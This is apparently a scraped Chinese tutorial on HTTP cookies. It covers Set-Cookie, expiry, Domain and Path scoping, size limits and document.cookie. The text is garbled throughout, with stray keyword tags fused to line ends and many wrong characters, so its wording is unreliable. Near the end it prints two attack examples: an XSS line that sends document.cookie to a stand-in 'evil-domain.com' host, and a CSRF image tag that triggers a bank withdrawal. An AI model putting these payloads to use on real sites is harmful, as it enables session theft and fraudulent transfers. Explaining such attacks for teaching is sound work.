当服务器收到HTTP请求时,服务器能够在响应头里面添加一个Set-Cookie选项。
浏览器收到响应后一般会保存下Cookie,
以后对该服务器每一次请求中都经过Cookie请求头部将Cookie信息发送给服务器。
另外,Cookie的过时时间、域、路径、有效期、适用站点均可以根据须要来指定。javascript
服务器使用Set-Cookie响应头部向用户代理(通常是浏览器)发送Cookie信息。一个简单的Cookie可能像这样:php
Set-Cookie: <cookie名>=<cookie值> response.setHeader('Set-Cookie', ['type=ninja','username=123qad', 'language=javascript']);
组成java
默认是浏览器关闭就清掉, 通常会设置 指定过时时间(Expires)或者有效期(Max-Age)
须要注意的是,有些浏览器提供了会话恢复功能,这种状况下即便关闭了浏览器,会话期Cookie也会被保留下来,就好像浏览器历来没有关闭同样。浏览器
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Domain (域名)和 Path 标识定义了Cookie的做用域:即Cookie应该发送给哪些URL。安全
Cookie 的Domain 属性能够设置 Cookie 发送哪些 url,默认是在当前域名下,但有时候咱们可能几个站点想共享Cookie 信息
比方 qq空间(qq.tentxun.com)登录了,我想点进 qq 邮箱(mail.tenxun.com), 那要是再登录一次,用户爸爸确定受不了,因此经过设置
cookie 的 domain 为 ".tenxun.com",从 qq空间点击连接 进入 qq 邮箱, qq邮箱 经过 cookie 信息,获取用户信息,就能够不用再次登录了服务器
若是设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。cookie
4097个字节, 多了浏览器会默默删掉dom
var cookie = document.cookie; document.cookie = "username=tt";
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;加密
<img src="http://bank.example.com/withd...;amount=1000000&for=mallory">url